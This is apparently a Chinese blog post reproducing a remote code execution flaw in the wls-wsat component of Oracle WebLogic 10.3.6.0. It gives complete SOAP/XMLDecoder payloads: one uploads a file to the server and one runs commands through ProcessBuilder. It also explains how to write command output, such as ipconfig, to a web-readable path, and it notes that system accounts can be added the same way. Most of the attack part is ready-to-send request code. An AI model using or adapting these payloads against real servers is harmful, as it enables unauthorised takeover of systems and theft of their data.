漏洞环境: Windows 2008 R2
jdk版本:java 1.6.0_29(Weblogic自带)
WebLogic版本:10.3.6.0
部署Weblogic就不发了,百度上一堆。文章下方我会附带上Weblogic10.3.6.0的下载地址的。
附带文件上传&&命令执行(猥琐命令回显方法)POC
注意的是,在发送请求的时候,在请求头中必带Upgrade-Insecure-Requests: 1以及Content-Type: text/xml,否则是无法请求成功的。
文件上传:
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 192.168.1.101:7001 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: text/xml Content-Length: 582 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/poacher.txt</string><void method="println"> <string>Weblogic By:Poacher</string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
命令执行(猥琐命令回显方法)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
得说一下这里是使用的ProcessBuilder类进行的本地命令调用的。所以如果需要修改命令的话就得吧对应的参数修改了。以上的poc是弹计算器的。验证一下。
接下来说一下猥琐的命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:/1.txt 就可以将ipconfig的结果存放到了c:/1.txt下。我们也可以如此。接下来修改下POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="5"> <void index="0"> <string>cmd</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>ipconfig</string> </void> <void index="3"> <string>>></string> </void> <void index="4"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt,可以测试一下:
访问:https://www.0dayhack.com:7001/wls-wsat/ipconfig.txt
这个方法需要有足够的写入权限。不然的话是会gg的。
也可以直接添加系统账号。但是前提得是拥有权限才可以添加成功滴。
具体的ProcessBuilder使用方法,大家可以百度查一查手册等相关资料。
Weblogic 10.3.6.0下载
地址:http://download.oracle.com/otn/nt/middleware/11g/wls/1036/oepe-wls-indigo-installer-11.1.1.8.0.201110211138-10.3.6-win32.exe?AuthParam=1514030793_b54845002c2b3ff9e0b2fc167180f141
原文作者:Poacher
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论